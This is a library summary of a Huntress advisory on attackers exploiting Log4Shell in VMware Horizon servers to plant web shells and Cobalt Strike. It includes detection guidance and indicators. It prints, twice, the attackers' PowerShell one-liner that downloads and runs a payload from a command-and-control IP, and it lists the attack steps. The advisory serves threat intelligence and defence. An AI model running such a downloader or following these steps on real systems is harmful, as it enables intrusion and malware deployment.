# VMware Horizon Servers Actively Being Hit With Cobalt Strike

Attackers exploited Log4Shell in internet-facing VMware Horizon servers to install web shells and Cobalt Strike, gaining SYSTEM-level remote command execution.

- Payout: Real-world hack
- Severity: critical
- Program: VMware
- Found by (vendor credit): Chen Zhaojun of Alibaba Cloud Security Team
- Analysis by: Huntress
- Disclosed: 2022-01-15
- CVE: CVE-2021-44228, CVE-2021-45046
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike
- Tags: area:cloud domain:infra impact:internal-access impact:rce kind:incident platform:threat-intel sev:critical tech:java technique:source-review vuln:deserialization vuln:rce

**Target:** VMware Horizon servers (appblastgateway, ws_TomcatService.exe)
**Root cause:** Unpatched Log4j library in VMware Horizon allows JNDI injection via Log4Shell, enabling unauthenticated remote code execution.
**Steps:**
1. Identify internet-facing unpatched VMware Horizon servers (~25,000 per Shodan).
2. Exploit CVE-2021-44228/CVE-2021-45046 to execute commands as NT AUTHORITY\SYSTEM.
3. Drop modified absg-worker.js web shell under %ProgramFiles%\VMware\VMware View\Server\appblastgateway\ containing child_process string.
4. Later wave: PowerShell downloader runs `iex ((New-Object http://System.Net.WebClient).DownloadString('http://185.112.83[.]116:8080/drv'))` to fetch Cobalt Strike.
5. Cobalt Strike beacon calls back to 185.112.83[.]116 for C2.
**How found:** Huntress validated NHS intel across 180 Horizon servers, finding 18 backdoored with modified absg-worker.js; a Defender AV detection tipped ThreatOps to new Log4Shell exploitation, and parent-process analysis (ws_TomcatService.exe vs node.exe) distinguished fresh exploitation from web shell abuse.
**Exploitation:** Unauthenticated attackers exploited Log4Shell in Horizon to spawn processes from ws_TomcatService.exe, installing web shells for persistent SYSTEM-level command execution and later delivering Cobalt Strike beacons for C2.
**Escalation:** Web shell persistence plus Cobalt Strike implant enabling lateral movement within the network.
**Insight:** Distinguish initial exploitation from web shell reuse by inspecting the parent process of spawned PowerShell: ws_TomcatService.exe indicates Log4Shell exploitation, node.exe indicates web shell abuse.

## Proof of concept (copied exactly from the original report)

**PowerShell downloader executing Cobalt Strike payload**

```
iex ((New-Object http://System.Net.WebClient).DownloadString('http://185.112.83[.]116:8080/drv'))
```

## Write-ups of the same bug (oldest first)
- 2021-12-10: [Critical RCE Vulnerability Updates (log4j - CVE-2021-44228)](https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-rapid-response-critical-rce-vulnerability-is-affecting-java) — Huntress
- 2022-01-15: [VMware Horizon Servers Actively Being Hit With Cobalt Strike](https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike) — Huntress (this one)
- 2024-08-28: [[forum.acronis.com] JNDI Code Injection due an outdated log4j component](https://bugbountylibrary.com/r/h1%3A1430622) — godiego